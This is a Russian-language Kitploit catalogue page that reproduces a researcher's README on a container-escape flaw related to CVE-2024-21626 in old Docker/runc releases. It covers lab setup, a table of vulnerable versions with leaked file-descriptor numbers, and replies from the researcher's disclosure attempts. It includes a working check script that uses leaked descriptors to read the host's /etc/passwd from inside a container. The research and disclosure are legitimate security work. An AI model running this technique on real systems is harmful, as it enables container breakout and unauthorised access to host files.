Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21626-old-docker-versions — Анализирует и эксплуатирует уязвимость выхода из контейнера в устаревших версиях Docker/runc, демонстрируя утечку файловых дескрипторов для доступа к файловой системе хоста, с скриптами настройки и тестирования. | Kitploit
Инструменты/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
Безопасность контейнеровАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеПобег из КонтейнераЛаборатории и Практика
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

Анализирует и эксплуатирует уязвимость выхода из контейнера в устаревших версиях Docker/runc, демонстрируя утечку файловых дескрипторов для доступа к файловой системе хоста, с скриптами настройки и тестирования.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
71 год назадЕщё не проверено

Уязвимость побега из контейнера в старых компонентах runc (CVE-2024-21626)

В ходе моего анализа CVE-2024-21626 я обнаружил, что другие старые компоненты Docker также уязвимы к утечке fd (что не упоминается в бюллетене безопасности GHSA-xr7r-f8xq-vfvv). Полное объяснение читайте в моей статье здесь.

1. Настройка окружения 🔨

A. Скачайте и установите версию Ubuntu 18.04.6 LTS (Bionic Beaver)

Во время установки не отмечайте флажок загрузки обновлений системы.

B. Установите уязвимую версию Docker и связанные компоненты

  • Перейдите на https://download.docker.com/linux/static/stable/x86_64/ и скачайте старую версию docker-X.Y.Z-ce.tgz для тестирования

  • Распакуйте архив, скопируйте содержимое в каталог /usr/bin и запустите Docker daemon.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. Проверьте установленные версии

root@kitploit:~
sudo docker version
containerd --version
uname -r

В старых версиях вместо runc используется docker-runc. Поэтому проверьте его:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Проверьте версию docker-runc/runc

root@kitploit:~
runc --version
docker-runc -v

2. Проверьте, уязвима ли цель, и найдите нужный fd 🧐

Запустите checkVulnerability.sh и посмотрите, выводится ли файл в терминал

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

В этом примере я использовал версию docker-17.03.1-ce. Проверка уязвимости и поиск fd

3. Попробуйте эксплойт 🔫

В этом примере я использовал версию docker-17.03.1-ce.

Эксплойт

4. Результаты тестов 🧪

Ниже приведены результаты моего анализа, сгруппированные по версии Docker и использованной версии runc.

docker-runc

runc

Версия DockerВерсия runcНомер утёкшего fd
docker-18.09.0.tgz1.0.0-rc5+dev❌

Вот скриншот, показывающий три различные уязвимые версии.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

Как и в случае с CVE-2024-21626, различные типы атак по-прежнему возможны.

5. Заключение и выводы 🔚

Эта уязвимость значительно отличается от CVE-2024-21626, поскольку:

  1. Она может быть вызвана в старых версиях Linux, в которых отсутствует системный вызов openat2.
  2. Утёкший файловый дескриптор расположен в пути /run/runc/<container>/, который содержит состояние запущенных контейнеров, а не в каталоге хоста /sys/fs/cgroup.

Я обнаружил, что старые версии также уязвимы к той же технике атаки. Хотя сама уязвимость отличается, результат тот же: получение доступа к файловой системе хоста. Главный вывод — не полагаться исключительно на бюллетени безопасности: тщательно проверяйте всё. Полностью понимайте CVE, как он работает, экспериментируйте с ним в безопасной среде и исследуйте крайние случаи.

6. Ответственное раскрытие 🕺🏻

Я пытался связаться с [email protected], [email protected] и попытаться открыть CVE. Я получил следующие ответы:

Скачать инструмент
Версия DockerВерсия docker-runcНомер утёкшего fd
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
ЗапросОтвет
[email protected] (19/03/24)Перечисленные вами версии — это EOL-версии программного обеспечения (примерно 7 лет), которые больше не патчатся и не поддерживаются Docker. Если у вас есть вопросы по поводу версий или формулировок, указанных в существующем бюллетене GHSA-xr7r-f8xq-vfvv («затронутые версии: >= 1.0.0-rc93, <= 1.1.11»), правильным каналом для сообщения об этом является почтовый ящик OCI security: https://github.com/opencontainers/.github/blob/main/SECURITY.md Спасибо, что обратились. Дайте знать, если мы можем сделать что-то ещё.
[email protected] (20/03/24)нет ответа
CVE-MITRE (15/05/2024)Обычно мы не присваиваем CVE ID проблемам, которые существуют только в релиз-кандидатах. https://www.cve.org/CVERecord?id=CVE-2024-21626 затрагивал выпущенные версии runc, например, выпуск 1.1.11.